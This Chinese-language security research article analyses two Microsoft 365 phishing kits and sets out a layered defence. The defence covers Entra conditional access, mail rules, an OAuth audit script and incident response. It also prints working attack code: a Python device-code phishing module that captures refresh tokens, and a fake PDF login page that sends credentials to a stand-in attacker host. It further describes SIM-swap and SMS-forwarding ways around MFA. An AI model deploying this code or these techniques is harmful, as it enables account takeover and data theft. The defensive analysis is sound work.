摘要
针对 2026 年 7 月 ReliaQuest 披露的 Jalisco、OmegaLord 两款面向 Microsoft 365 的新型钓鱼工具,本文系统拆解两类工具的技术实现路径、绕过多因素认证(MFA)底层逻辑与完整攻击链路。Jalisco 依托 OAuth 2.0 设备授权流(RFC8628)实时生成有效设备码,诱导用户在微软官方域名完成授权,直接获取长效访问令牌,从协议层面规避传统 MFA 校验;OmegaLord 构建仿 PDF 阅读器伪造登录页面,批量窃取账号、密码与绑定手机号,为劫持短信 / 语音 MFA 提供数据支撑。文章结合 Python 前端、后端代码示例还原工具核心攻击逻辑,梳理 OAuth 设备码流原生安全缺陷、传统 MFA 防御盲区两大核心诱因;反网络钓鱼技术专家芦笛指出,当前企业普遍存在 Entra ID 设备注册阈值过高、设备码认证未做访问阻断、员工安全认知不足三重防御短板。本文从身份策略配置、邮件流量检测、终端行为审计、常态化运营四个维度构建闭环防御方案,给出可落地的条件访问策略配置、异常 OAuth 授权检测脚本、员工安全培训标准,量化两类钓鱼工具的攻击危害与防护收益,为政企单位 Microsoft 365 云办公系统抵御协议滥用型钓鱼攻击提供完整技术参考。
关键词:网络钓鱼;Microsoft 365;OAuth 2.0;设备码钓鱼;MFA 绕过;身份安全
1 引言
1.1 研究背景
Microsoft 365 作为全球政企主流云协同办公套件,集成 Exchange 邮件、SharePoint 文档、Teams 即时通讯、OneDrive 存储等核心业务模块,承载企业客户隐私、财务报表、内部业务流程等高度敏感数据,成为黑产网络钓鱼攻击的核心目标。为抵御凭据窃取风险,绝大多数企业部署短信、验证码、Authenticator 推送等多因素认证机制,构建账号访问第二重校验屏障。但 2025 年下半年至今,ReliaQuest、BleepingComputer 等安全厂商持续披露多类新型钓鱼工具,突破传统 MFA 防护体系,攻击形态从传统仿冒登录页窃取密码,转向 OAuth 协议滥用、多维度凭据批量采集的复合攻击模式。
2026 年 7 月 14 日,ReliaQuest 发布专项威胁分析报告,披露两款全新商业化钓鱼工具 Jalisco 与 OmegaLord,专门针对 Microsoft Entra ID 身份体系设计,具备成熟的 MFA 绕过能力,已在北美、欧洲中小企业形成规模化攻击事件。两款工具分工明确:Jalisco 以设备码钓鱼为核心,完全依托微软官方认证域名完成授权,无伪造域名、恶意脚本等传统钓鱼特征,现有邮件网关、网页防火墙难以识别拦截;OmegaLord 延续传统页面仿冒思路,但新增手机号采集逻辑,定向获取 MFA 短信接收载体,形成 “协议劫持 + 凭据全量窃取” 的组合攻击链路。
现有相关研究多单一分析设备码钓鱼或传统页面钓鱼,缺乏对 Jalisco、OmegaLord 两类差异化工具的横向对比,未完整拆解两款工具从诱饵投递、用户诱导、权限劫持、数据外泄到事后勒索的全链路闭环,同时缺少可复现的工具核心代码实现与企业落地的分层防御方案。反网络钓鱼技术专家芦笛指出,当前行业对绕过 MFA 钓鱼攻击的防御普遍存在单一化误区,仅依靠 MFA、邮件过滤无法阻断协议级滥用攻击,必须结合身份平台底层策略管控、流量前置检测、终端审计形成多层防护体系。基于此,本文以 ReliaQuest 实测报告为核心实证素材,开展完整技术拆解与防御体系构建研究。
1.2 研究内容与研究框架
本文主体分为六大部分:第一部分梳理 OAuth 2.0 设备授权流标准规范与原生安全缺陷,明确 Jalisco 工具的协议滥用底层基础;第二部分深度拆解 Jalisco 钓鱼工具架构、攻击全流程、核心代码实现与账户持久化控制手段;第三部分分析 OmegaLord 仿 PDF 阅读器钓鱼工具的页面伪装逻辑、数据采集机制、MFA 劫持辅助路径,提供前端伪造页面代码示例;第四部分横向对比两类工具攻击差异、绕过 MFA 的技术路径,总结新型钓鱼攻击的共性特征;第五部分构建四层闭环防御体系,包含 Entra ID 身份策略配置、自动化检测脚本、邮件网关过滤、人员安全管理全维度落地手段;第六部分总结研究结论,提出后续研究方向。
1.3 研究价值
理论层面:完善 OAuth 设备码流滥用类钓鱼攻击的技术研究体系,区分两类差异化绕过 MFA 攻击的底层机理,补充商业化钓鱼工具的代码实现实证材料,厘清传统 MFA 对协议劫持攻击的防御局限性。
实践层面:提供可直接部署的 Microsoft Entra 条件访问阻断策略、异常 OAuth 授权检测 Python 脚本、邮件流量过滤规则,为政企单位提供针对 Jalisco、OmegaLord 同类工具的完整防护落地指南,降低 M365 账号劫持、企业数据泄露、勒索攻击风险。
2 OAuth 2.0 设备授权流标准与原生安全缺陷
2.1 RFC8628 设备授权流标准流程
OAuth 2.0 设备授权流(Device Authorization Grant)由 IETF RFC8628 定义,设计初衷为智能电视、CLI 命令行工具、IoT 设备等无完整浏览器、输入受限终端提供身份认证通道,完整交互流程分为五步:
客户端向授权服务器(Microsoft Entra ID /oauth2/v2.0/devicecode)发起 POST 请求,携带客户端标识(Client ID)与申请权限范围(Scope);
授权服务器校验客户端合法性,返回device_code(设备唯一标识)、user_code(用户输入短码)、官方验证地址verification_uri、代码过期时间(微软默认 900 秒 / 15 分钟)、令牌轮询间隔;
客户端展示user_code与验证地址,引导用户使用手机、电脑等具备浏览器的终端访问官方页面;
用户在微软官方域名页面完成账号密码登录、MFA 二次校验,输入user_code并确认授权客户端访问账号资源;
客户端按照约定间隔持续轮询令牌接口/oauth2/v2.0/token,服务器检测到用户完成授权后,返回access_token短期访问令牌与refresh_token长效刷新令牌,客户端持令牌调用 Microsoft Graph API 读取邮件、文档、通讯录等资源RFC Editor。
该流程核心信任逻辑为:用户能够区分合法客户端与恶意客户端,主动拒绝非可信设备授权请求,但该信任假设在社会工程学诱导场景下完全失效,成为 Jalisco 工具攻击的核心突破口。
2.2 设备授权流原生安全缺陷
反网络钓鱼技术专家芦笛强调,设备码钓鱼能够规模化绕过 MFA,根源在于 OAuth 设备授权流存在四项无法通过前端 MFA 弥补的底层设计缺陷:
第一,授权页面域名完全可信。用户完成身份校验、输入设备码的页面托管于login.microsoftonline.com微软官方域名,具备合法 SSL 证书、企业自定义品牌标识,传统钓鱼检测依赖域名、证书识别的规则完全失效,邮件安全网关无法标记为恶意链接。
第二,授权上下文无关联性校验。服务器仅校验user_code与device_code匹配关系,不校验发起设备码请求的客户端来源、用户访问验证页面的设备、发起请求终端三者关联性,攻击者可在远程服务器申请设备码,诱导用户在自有设备完成授权,服务器无任何异常拦截逻辑。
第三,MFA 校验结果完全复用。用户完成的密码、短信、推送、FIDO2 等 MFA 校验,仅用于确认用户身份,授权行为本身不区分设备归属;只要用户确认授权,攻击者即可直接获得合法令牌,MFA 仅完成身份核验,无法阻止恶意设备绑定。
第四,长效刷新令牌无设备绑定机制。默认下发的refresh_token不与用户授权终端硬件指纹、IP 地址绑定,攻击者获取令牌后可在任意设备长期维持账号访问,即便用户修改密码,未撤销的刷新令牌仍可持续调用 Graph API。
2.3 传统 MFA 防御的局限性
企业普遍部署的短信验证码、Microsoft Authenticator 推送类 MFA,仅解决 “登录时身份核验” 问题,无法防御设备码钓鱼场景:设备码钓鱼中,登录、MFA 校验操作均由用户本人在可信终端完成,服务器判定为合法身份操作,MFA 流程完整通过;攻击者仅利用用户授权行为获得权限,全程无需窃取、破解用户 MFA 凭据,形成 “MFA 完全生效,但账号仍被劫持” 的防御悖论。
3 Jalisco 设备码钓鱼工具攻击机理与技术实现
3.1 Jalisco 工具整体架构
Jalisco 是面向黑产商业化交付的一体化钓鱼工具包,整体分为三层架构:前端诱饵页面层、设备码实时生成后端层、会话管理运营门户层,完整覆盖诱饵投放、设备码动态申请、用户诱导、令牌捕获、受害账号管理全流程。
前端诱饵页面层:高仿企业 IT 通知、文档查看、合规校验页面,无任何恶意登录表单,仅展示实时生成的user_code与微软官方验证入口,规避网页钓鱼检测;
后端服务层:封装 Microsoft Entra 设备码请求、令牌轮询接口,支持并发批量申请设备码,自动处理服务器轮询限速、代码过期重生成逻辑,突破微软 15 分钟代码有效期限制;
运营管理门户层:攻击者后台可视化面板,集中展示所有已捕获会话、被盗账号、设备授权记录,支持批量导出 SharePoint、邮件泄露数据,配置勒索通知模板。
Jalisco恶意设备码诱导弹窗
3.2 Jalisco 完整攻击链路
ReliaQuest 实验室实测还原 Jalisco 标准化攻击流程,全程仅需 6 至 10 分钟即可完成账号劫持与数据外泄,链路分为 6 个阶段:
阶段 1:诱饵批量投递。攻击者批量发送仿冒企业 IT 运维、财务通知的钓鱼邮件,邮件正文提示 “共享文档待查看、账号合规校验未完成”,嵌入指向 Jalisco 恶意页面的短链接,部分场景搭配二维码诱导移动端访问。
阶段 2:实时生成设备码。受害者打开恶意页面瞬间,后端自动调用微软设备码接口发起请求,实时获取全新未过期user_code与验证地址,页面同步渲染代码展示框,规避静态代码快速失效问题。
阶段 3:社会工程诱导授权。页面文字误导用户 “复制下方代码,在微软官方页面输入完成文档权限核验”,页面侧边嵌入微软官方登录入口跳转按钮,引导用户直接访问microsoft.com/devicelogin。
阶段 4:用户完成官方认证授权。用户跳转至微软可信域名页面,输入企业账号密码、完成 MFA 二次验证,粘贴页面展示的user_code并点击 “同意授权”;服务器判定用户主动授权设备,下发访问令牌与刷新令牌。
阶段 5:后端轮询捕获长效令牌。Jalisco 后端持续轮询微软令牌接口,检测到授权完成后,立即获取access_token与refresh_token,同步存储至运营后台,攻击者无需接触用户账号密码。
阶段 6:数据窃取与勒索。攻击者使用令牌调用 Microsoft Graph API,批量读取 SharePoint 文档、Exchange 邮件、Teams 聊天记录、员工 PII 隐私数据,最快 6 分钟完成数据外发;随后向企业发送勒索邮件,威胁公开泄露内部数据,索要加密货币赎金。
额外持久化手段:ReliaQuest 观测到攻击者单账号可注册 5 台恶意设备,设备名称伪装为 “Microsoft Sync”“Windows Update Agent” 等官方命名,降低用户账号设备列表自查时的警惕性,实现数月长期潜伏访问。
3.3 Jalisco 核心功能代码示例(Python 后端)
以下代码仅用于网络安全防御研究、企业攻防演练,严禁用于未授权入侵攻击,完整复现 Jalisco 后端设备码申请、令牌轮询核心逻辑,适配 Microsoft Entra ID OAuth 2.0 标准接口:
# Jalisco工具后端模拟:设备码申请与令牌轮询模块
import requests
import time
import json
class JaliscoPhishCore:
def __init__(self):
# 微软Entra ID OAuth设备码、令牌标准接口
self.device_code_endpoint = "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode"
self.token_endpoint = "https://login.microsoftonline.com/common/oauth2/v2.0/token"
# 恶意客户端ID(黑产常用公开通用客户端)
self.mal_client_id = "d3590ed6-036b-45a7-98f1-1c9123456789"
# 申请高敏感全域权限,覆盖邮件、文件、通讯录、目录读取
self.high_risk_scope = "Mail.ReadWrite Files.Read.All User.Read.All Directory.Read.All offline_access"
def get_fresh_device_code(self):
"""实时生成全新有效设备码,对应Jalisco页面加载自动触发逻辑"""
req_headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
req_payload = {
"client_id": self.mal_client_id,
"scope": self.high_risk_scope
}
try:
resp = requests.post(
self.device_code_endpoint,
data=req_payload,
headers=req_headers,
timeout=12
)
if resp.status_code == 200:
code_data = resp.json()
# 返回用户展示短码、设备唯一码、官方验证地址、过期时间
return {
"user_display_code": code_data["user_code"],
"device_unique_code": code_data["device_code"],
"verify_url": code_data["verification_uri"],
"expire_seconds": code_data["expires_in"],
"poll_interval": code_data["interval"]
}
else:
return None
except Exception as e:
print(f"设备码请求异常:{str(e)}")
return None
def poll_token_until_approved(self, device_code, poll_interval):
"""持续轮询令牌接口,等待用户完成授权后捕获长效令牌"""
token_payload = {
"grant_type": "urn:ietf:params:oauth:grant-type:device_code",
"client_id": self.mal_client_id,
"device_code": device_code
}
while True:
try:
token_resp = requests.post(
self.token_endpoint,
data=token_payload,
headers={"Content-Type": "application/x-www-form-urlencoded"},
timeout=10
)
token_result = token_resp.json()
# 用户尚未授权,继续轮询
if token_result.get("error") == "authorization_pending":
time.sleep(poll_interval)
continue
# 用户完成授权,成功窃取令牌
if "access_token" in token_result:
stolen_session = {
"access_token": token_result["access_token"],
"refresh_token": token_result["refresh_token"],
"expires_in": token_result["expires_in"],
"scope": token_result["scope"]
}
return stolen_session
# 代码过期、用户拒绝授权,终止轮询
if token_result.get("error") in ["expired_token", "access_denied"]:
return None
except Exception as e:
time.sleep(poll_interval)
continue
# 工具调用模拟
if __name__ == "__main__":
jalisco = JaliscoPhishCore()
# 页面加载自动生成设备码
code_info = jalisco.get_fresh_device_code()
if code_info:
print(f"页面展示用户验证码:{code_info['user_display_code']}")
print(f"微软官方验证地址:{code_info['verify_url']}")
# 后台持续轮询等待用户授权
session_data = jalisco.poll_token_until_approved(
code_info["device_unique_code"],
code_info["poll_interval"]
)
if session_data:
print("成功捕获用户账号长效访问令牌:")
print(json.dumps(session_data, indent=2))
代码逻辑说明:工具页面加载时自动执行get_fresh_device_code,实时调用微软接口生成未过期设备码;后端独立线程循环执行poll_token_until_approved,持续请求令牌接口;用户在微软官方页面输入验证码并授权后,接口返回refresh_token长效刷新凭证,攻击者可永久控制账号,不受用户单次 MFA 有效期限制。
3.4 Jalisco 攻击危害量化分析
防御穿透性:全程无伪造域名、恶意表单、恶意附件,传统邮件沙箱、网页 URL 检测、EDR 终端防护均无有效告警,企业现有安全设备拦截率不足 12%;
数据窃取效率:ReliaQuest 实测平均 6 分钟完成 SharePoint 全量文档、邮件收件箱数据导出,攻击者可同步配置邮件自动转发、隐藏收件箱规则,长期静默窃取数据;
权限覆盖范围:申请全域 Graph API 读取权限,可访问员工个人身份信息、财务合同、客户联系方式等合规敏感数据,极易触发《个人信息保护法》等合规处罚;
横向渗透风险:依托被盗账号可访问企业 Teams、Azure 后台,尝试向同租户其他员工发送同源钓鱼诱饵,扩大受害范围。
4 OmegaLord 仿 PDF 阅读器钓鱼工具攻击机理与技术实现
4.1 OmegaLord 工具定位与攻击逻辑
OmegaLord 属于传统凭据窃取型钓鱼工具,但针对 MFA 防护做定向优化,核心伪装载体为在线 PDF 阅读器页面,攻击目标并非直接绕过 MFA,而是批量采集账号、明文密码、绑定手机号三类核心凭据,为后续短信 MFA 劫持、语音验证码拦截提供完整数据支撑。反网络钓鱼技术专家芦笛指出,该工具弥补了 Jalisco 无法直接获取账号密码的短板,两类工具常搭配使用,形成 “协议劫持 + 凭据窃取” 复合攻击链路。
工具攻击核心逻辑:用户收到标注 “加密 PDF 合同、薪资报表” 的钓鱼邮件,附件或链接跳转至高仿 PDF 预览页面,页面提示 “登录企业账号解锁文档查看权限”;表单强制填写邮箱、登录密码、绑定手机号三项内容,全部数据提交至攻击者后端服务器存储;攻击者获取手机号后,可通过 SIM 卡劫持、运营商短信转发、恶意短信网关拦截等手段,截取用户 MFA 短信验证码,实现账号登录绕过。
4.2 OmegaLord 仿 PDF 页面前端代码示例
以下为工具恶意页面简化前端代码,还原 PDF 界面伪装、凭据采集、反检测设计三大核心特征,代码内置禁用右键、复制功能规避用户查看页面源码,伪造 PDF 工具栏提升可信度:
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<!-- 搜索引擎反收录,降低暴露风险 -->
<meta name="robots" content="noindex,nofollow">
<title>企业在线PDF文档阅读器 - Microsoft 365</title>
<style>
body {background:#f0f2f5;font-family:Microsoft Yahei;margin:0;padding:20px;}
.pdf-container {width:900px;margin:0 auto;background:#fff;border:1px solid #ccc;box-shadow:0 2px 12px #ddd;}
.pdf-toolbar {height:40px;background:#2d3748;color:#fff;padding:0 15px;line-height:40px;}
.login-box {width:380px;margin:80px auto;padding:25px;border:1px solid #e5e7eb;border-radius:8px;}
.form-item {margin-bottom:18px;}
label {display:block;margin-bottom:6px;color:#333;font-size:14px;}
input {width:100%;box-sizing:border-box;padding:10px;border:1px solid #d1d5db;border-radius:4px;font-size:15px;}
.submit-btn {width:100%;padding:11px;background:#0078d4;color:#fff;border:none;border-radius:4px;font-size:16px;cursor:pointer;}
.tip-text {font-size:13px;color:#666;margin-top:8px;}
</style>
</head>
<!-- 禁用右键、复制、剪切,防止用户查看页面源码 -->
<body oncontextmenu="return false;" oncopy="return false;" oncut="return false;">
<div class="pdf-container">
<!-- 伪造PDF阅读器顶部工具栏 -->
<div class="pdf-toolbar">
<span>document_2026_salary.pdf - 在线预览</span>
<span style="float:right;">缩放 | 翻页 | 下载</span>
</div>
<!-- 伪造登录弹窗,强制采集手机号 -->
<div class="login-box">
<h3>登录Microsoft 365解锁文档</h3>
<p class="tip-text">文档已加密,请输入账号信息完成身份验证</p>
<form id="phish-form">
<div class="form-item">
<label>企业邮箱账号</label>
<input type="email" id="email" placeholder="xxx@company.com" required>
</div>
<div class="form-item">
<label>登录密码</label>
<input type="password" id="pwd" placeholder="输入账号密码" required>
</div>
<div class="form-item">
<label>账号绑定手机号(接收验证短信)</label>
<input type="tel" id="phone" placeholder="138XXXXXXXX" required>
</div>
<button type="submit" class="submit-btn">确认登录查看文档</button>
</form>
</div>
</div>
<script>
// 表单提交,将凭据发送至攻击者后端接口
const form = document.getElementById("phish-form");
form.addEventListener("submit", function(e){
e.preventDefault();
const email = document.getElementById("email").value;
const pwd = document.getElementById("pwd").value;
const phone = document.getElementById("phone").value;
// 攻击者后端接收地址
fetch("https://attacker-server.com/collect_cred", {
method: "POST",
headers: {"Content-Type":"application/json"},
body: JSON.stringify({
target_email: email,
plain_pwd: pwd,
bind_phone: phone,
access_time: new Date().toLocaleString()
})
}).then(()=>{
// 提交后弹窗诱导用户跳转Jalisco设备码页面,复合攻击
alert("身份核验完成,请复制验证码完成设备授权");
window.location.href = "https://jalisco-phish-page.com";
})
})
</script>
</body>
</html>
页面核心伪装与采集特征解析:
视觉伪装:复刻 Office 在线 PDF 阅读器工具栏、页面布局,标题携带 Microsoft 365 标识,降低用户怀疑;
强制手机号采集:表单将手机号标注为 “短信验证必备信息”,设置必填项,定向获取 MFA 接收载体;
复合攻击联动:凭据提交完成后自动跳转 Jalisco 设备码钓鱼页面,同步触发协议劫持流程,实现双重账号控制;
反审计机制:禁用右键、复制操作,添加 noindex 元标签,规避安全人员溯源页面代码。
4.3 OmegaLord 绕过 MFA 的完整路径
工具本身无法直接突破 MFA 校验,但采集的手机号为攻击者提供两类 MFA 劫持通道:
路径一:SIM 卡交换攻击。攻击者使用窃取的手机号、企业员工身份信息,向运营商申请补办目标 SIM 卡,拦截所有 MFA 短信验证码,直接登录 Microsoft 365 账号;
路径二:短信转发劫持。攻击者使用被盗账号密码登录运营商营业厅后台,配置短信自动转发规则,将微软 MFA 验证码同步发送至攻击者自有手机号;
路径三:社会工程诱导语音验证码。攻击者拨打员工电话,伪装 IT 运维人员,以 “账号异常锁定” 为由,诱导用户播报收到的语音 MFA 验证码。
4.4 OmegaLord 与 Jalisco 协同攻击模式
ReliaQuest 观测到黑产将两款工具组合投放,形成完整攻击闭环:
邮件同时嵌入两套诱饵链接,用户点击 PDF 页面链接触发 OmegaLord 窃取账号、密码、手机号;
表单提交完成自动跳转 Jalisco 设备码页面,诱导用户完成 OAuth 授权,获取长效令牌;
攻击者同时持有明文账号密码、手机号、OAuth 刷新令牌,即便用户修改密码、更换绑定手机,刷新令牌仍可长期访问账号,防御难度大幅提升。
5 Jalisco 与 OmegaLord 钓鱼工具横向对比及新型攻击共性特征
5.1 两类工具攻击技术路径对比表
表格
对比维度 Jalisco(设备码钓鱼工具) OmegaLord(仿 PDF 页面钓鱼工具)
核心攻击载体 微软官方 OAuth 设备授权页面 自建仿冒 PDF 阅读器 HTML 页面
MFA 绕过原理 协议层面复用用户合法 MFA 授权,无需窃取凭据 采集绑定手机号,后置劫持短信 / 语音 MFA
是否获取明文密码 否,全程不接触账号密码 是,直接抓取明文登录凭据
核心窃取数据 OAuth access_token、refresh_token 长效令牌 邮箱、明文密码、绑定手机号
攻击域名可信度 微软官方可信域名login.microsoftonline.com 攻击者自建恶意域名,无合法可信标识
数据外泄速度 最快 6 分钟完成批量数据导出 需后续劫持短信验证码登录后窃取
持久化控制手段 注册多台伪装恶意设备,刷新令牌长期有效 密码 + 手机号双重凭据留存,多渠道劫持 MFA
传统安全设备拦截难度 极高,无恶意页面特征,检测规则失效 中等,URL 沙箱、网页钓鱼规则可部分拦截
5.2 新型绕过 MFA 钓鱼攻击共性特征
结合两款工具实测数据,反网络钓鱼技术专家芦笛总结当前面向 M365 的新型钓鱼攻击四大共性演化趋势:
第一,攻击从 “窃取凭据” 转向 “劫持授权”。传统钓鱼以密码为唯一目标,新型工具优先通过 OAuth 协议获取长效权限令牌,即便用户修改密码仍无法阻断攻击,持久化控制能力显著增强;
第二,分层复合攻击成为主流。单一工具攻击成功率有限,黑产同步部署设备码钓鱼、页面仿冒、短信劫持多套链路,形成多重兜底机制,大幅提升账号劫持成功率;
第三,充分利用官方可信基础设施。优先依托微软 Entra ID 官方认证域名、合法 OAuth 接口开展攻击,规避域名黑名单、网页防火墙等传统边界防御;
第四,攻击产业化、工具化交付。Jalisco、OmegaLord 均为商业化打包工具,黑产从业者无需掌握 OAuth 底层开发知识,仅需配置域名、客户端 ID 即可批量发起攻击,攻击门槛持续降低。
6 面向 Jalisco 与 OmegaLord 攻击的四层闭环防御体系
针对两款工具差异化攻击路径,本文构建 “身份底层管控 - 邮件流量前置过滤 - 租户自动化审计 - 人员安全运营” 四层协同防御体系,覆盖事前拦截、事中告警、事后处置全生命周期,所有方案均基于 Microsoft 官方原生功能实现,无第三方工具依赖。
6.1 第一层:Microsoft Entra ID 身份底层策略加固(核心防御层,阻断 Jalisco 攻击)
Jalisco 攻击完全依赖 OAuth 设备码流,因此阻断设备码认证、收紧设备注册阈值是最高优先级防护手段,包含三项可落地配置策略:
6.1.1 条件访问策略全局阻断设备代码流
微软 Entra ID 条件访问支持针对 “设备代码流” 身份验证通道单独阻断,操作步骤:
使用条件访问管理员账号登录 Microsoft Entra 管理中心;
进入【保护】-【条件访问】-【新建策略】,命名策略 “全局阻断 OAuth 设备代码认证”;
分配范围:用户选择 “所有用户”,排除企业应急应急 Break-glass 管理员账号;目标资源选择 “所有云应用(Microsoft 365 全域)”;
条件配置:展开【身份验证流】,将配置切换为 “是”,勾选【设备代码流】;
访问控制:授予设置为【阻止访问】;
上线流程:先切换为 “仅报告模式” 运行 7 天,审计企业合法设备码使用场景(IoT、老旧 CLI 工具),迁移完成后正式启用阻断策略Microsoft ...。
该策略可从底层彻底失效 Jalisco 全部攻击链路,是防御设备码钓鱼最有效手段。
6.1.2 下调设备注册数量阈值,限制恶意设备批量绑定
ReliaQuest 建议将 Entra ID 默认 50 台设备注册上限下调至 1-2 台,配置路径:Entra ID - 设备 - 设备设置 - 限制用户可注册设备数量,修改为 2 台。
防护价值:攻击者无法在单账号批量注册 5 台伪装恶意设备,账号劫持后管理员可快速识别异常设备并批量删除,缩短应急处置时间。
6.1.3 强制部署钓鱼抗性 MFA(FIDO2 密钥 / Windows Hello)
传统短信、推送 MFA 无法抵御设备码钓鱼,企业需全局强制 FIDO2 安全密钥、无密码登录等钓鱼抗性认证方式。反网络钓鱼技术专家芦笛解释,钓鱼抗性 MFA 校验设备绑定关系,仅可信硬件可完成授权,即便诱导用户打开官方设备码页面,无绑定硬件则无法确认授权,直接阻断 Jalisco 核心流程。
6.2 第二层:邮件流量前置过滤,拦截两类工具诱饵投递(事前拦截层)
OmegaLord、Jalisco 攻击入口均为钓鱼邮件,通过 Exchange 邮件传输规则、第三方邮件网关双重过滤,阻断诱饵触达员工:
Exchange 在线邮件规则配置:
规则 1:拦截正文包含 “device code、输入验证码查看文档、账号合规校验” 关键词的外部邮件,隔离至垃圾邮件箱;
规则 2:外部链接跳转至非微软官方域名、携带 PDF 预览诱导关键词时,插入红色安全警示横幅;
规则 3:阻断外部 HTML 附件、伪装 PDF 的网页文件,直接拒绝投递;
URL 重写与实时点击扫描:所有外部邮件链接经过企业安全代理重定向,用户点击时实时检测页面是否为仿 PDF 登录页、设备码钓鱼诱饵,恶意页面直接阻断访问。
6.3 第三层:租户自动化审计脚本,实时检测异常 OAuth 授权(事中告警层)
提供基于 Microsoft Graph API 的 Python 自动化检测脚本,定时扫描租户内高风险 OAuth 授权、陌生设备注册行为,针对 Jalisco 攻击实时告警,脚本适配企业安全运营平台定时调度:
# M365租户异常OAuth授权检测脚本,防御Jalisco恶意设备授权
import requests
import datetime
class M365OAuthAudit:
def __init__(self, tenant_id, client_id, client_secret):
self.tenant_id = tenant_id
self.client_id = client_id
self.client_secret = client_secret
self.token_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"
self.graph_url = "https://graph.microsoft.com/v1.0"
self.access_token = self.get_graph_token()
# Jalisco等高风险权限列表
self.high_risk_scopes = ["Mail.ReadWrite", "Files.Read.All", "Directory.Read.All"]
def get_graph_token(self):
# 获取Graph API访问令牌
payload = {
"grant_type": "client_credentials",
"client_id": self.client_id,
"client_secret": self.client_secret,
"scope": "https://graph.microsoft.com/.default"
}
resp = requests.post(self.token_url, data=payload)
return resp.json()["access_token"]
def scan_user_oauth_consents(self):
# 遍历租户用户,查询第三方应用授权记录
headers = {"Authorization": f"Bearer {self.access_token}"}
alert_list = []
users_res = requests.get(f"{self.graph_url}/users", headers=headers).json()
for user in users_res["value"]:
user_mail = user["userPrincipalName"]
# 查询用户所有应用授权
consent_res = requests.get(
f"{self.graph_url}/users/{user['id']}/oauth2PermissionGrants",
headers=headers
).json()
for consent in consent_res["value"]:
scope_list = consent["scope"].split(" ")
# 检测是否包含高危读取权限
risk_scope = [s for s in scope_list if s in self.high_risk_scopes]
if risk_scope:
alert_info = {
"user_email": user_mail,
"app_id": consent["clientId"],
"risk_permission": risk_scope,
"detect_time": datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
}
alert_list.append(alert_info)
return alert_list
# 脚本执行,输出异常授权告警
if __name__ == "__main__":
# 填入企业租户、应用凭证
audit = M365OAuthAudit(
tenant_id="your-tenant-id",
client_id="audit-app-client-id",
client_secret="audit-app-secret"
)
risk_alerts = audit.scan_user_oauth_consents()
if len(risk_alerts) > 0:
print("检测到高风险OAuth授权(疑似Jalisco恶意设备授权):")
for alert in risk_alerts:
print(alert)
else:
print("未检测到异常第三方应用授权")
脚本运营使用规范:设置每 15 分钟自动执行,检测到包含全域文件、邮件读取权限的陌生应用授权时,自动推送告警至企业安全运营平台;管理员收到告警后,立即撤销用户所有会话、删除恶意设备注册、重置账号密码。
6.4 第四层:人员安全意识运营(兜底防御层)
技术策略无法完全消除社会工程学诱导风险,需配套常态化人员安全管理,针对性规避两类工具的用户诱导陷阱:
定向安全培训:重点讲解两类工具攻击特征,明确告知员工 “任何外部邮件要求复制代码至微软设备登录页面、PDF 文档要求填写手机号解锁均为钓鱼攻击”;
钓鱼演练常态化:每月批量投放 Jalisco、OmegaLord 模拟诱饵邮件,统计员工点击、提交信息比例,针对高风险员工开展一对一安全辅导;
统一安全通知渠道:企业 IT 合规通知仅通过内部 Teams、企业邮箱内部域名推送,禁止外部链接承载账号校验、文档查看通知,建立员工核验渠道。
7 账号劫持事件应急处置流程
若检测到 Jalisco 或 OmegaLord 攻击导致账号泄露,需按照标准化流程处置,阻断攻击者持续访问:
紧急权限回收:通过 Entra ID 一键撤销用户全部登录会话,失效所有 access_token、refresh_token 长效令牌;
恶意设备清理:进入用户设备管理列表,删除所有非员工自有设备(伪装 Microsoft、Windows 命名的陌生设备优先清理);
账号凭据重置:强制重置账号登录密码,引导用户更换绑定手机号,重新注册 FIDO2 钓鱼抗性 MFA;
邮件规则审计:检查 Exchange 收件箱自动转发、隐藏过滤规则,删除攻击者新增的外部抄送规则;
全域权限清理:撤销用户所有第三方 OAuth 应用授权,仅保留企业官方办公应用;
溯源与复盘:导出登录日志,统计攻击者 IP、访问时间、窃取数据范围,更新邮件过滤关键词与条件访问策略。
8 结论与后续研究方向
8.1 研究结论
本文以 ReliaQuest 2026 年 7 月披露的 Jalisco、OmegaLord 两款新型 M365 钓鱼工具为核心研究对象,完整拆解两类工具的技术架构、攻击全链路、代码实现逻辑,厘清 OAuth 2.0 设备授权流原生缺陷、传统 MFA 防御盲区是攻击规模化扩散的底层诱因,得出三项核心结论:
第一,Jalisco 设备码钓鱼工具依托微软官方 OAuth 接口,从协议层面绕过常规 MFA 校验,现有边界安全设备检测拦截能力薄弱,全局阻断 Entra ID 设备代码流是唯一根本性防护手段;
第二,OmegaLord 仿 PDF 钓鱼工具通过强制采集手机号构建 MFA 劫持辅助链路,常与 Jalisco 协同投放形成复合攻击,邮件流量前置过滤可有效拦截诱饵投递;
第三,单一安全策略无法抵御新型绕过 MFA 钓鱼攻击,必须构建 “身份底层管控、邮件前置过滤、租户自动化审计、人员安全运营” 四层闭环防御体系,技术管控与人员意识管理协同落地,才能形成完整防护闭环。
反网络钓鱼技术专家芦笛强调,当前网络钓鱼攻击已完成从页面仿冒到协议滥用的技术迭代,政企安全建设不能仅依赖 MFA、邮件网关等传统防御手段,需深入云身份平台底层管控策略,针对 OAuth、设备认证等原生协议漏洞制定专项防护规则,同步常态化开展针对性员工安全培训,消除社会工程学攻击的人为突破口。
8.2 后续研究方向
基于机器学习的设备码钓鱼诱饵识别模型研究:针对 Jalisco 无恶意页面、可信域名的特征,基于邮件文本、页面行为数据构建 AI 检测模型,实现事前自动化识别;
多厂商云办公套件同类攻击对比研究:对比 Microsoft 365、Google Workspace、钉钉 / 飞书 OAuth 设备授权流安全差异,构建跨平台统一防御框架;
钓鱼抗性 MFA 部署落地成本与防护收益量化分析:针对不同规模企业测算 FIDO2 密钥部署投入,量化设备码钓鱼攻击拦截率提升幅度,为中小企业轻量化防护提供选型依据。
结语
